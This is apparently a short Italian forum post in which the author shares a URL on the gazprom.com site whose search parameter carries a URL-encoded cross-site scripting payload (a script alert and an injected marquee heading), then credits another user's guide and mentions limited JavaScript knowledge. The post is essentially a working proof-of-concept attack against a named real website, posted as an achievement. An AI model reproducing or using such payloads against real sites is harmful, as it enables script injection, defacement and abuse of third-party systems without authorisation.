Codice:
http://www.gazprom.com/map/search/?lang=%22%3C%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3Cmarquee%3E%3Ch3%3EXSS%3Ch3%3E%3C/marquee%3E
Un pò di merito va anche a xados, grazie alla sua guida per gli ulteriori chiarimenti! ..ho ancora qualche dubbio..ma più che altro, penso siano legati alle poche conoscenze riguardanti javascript!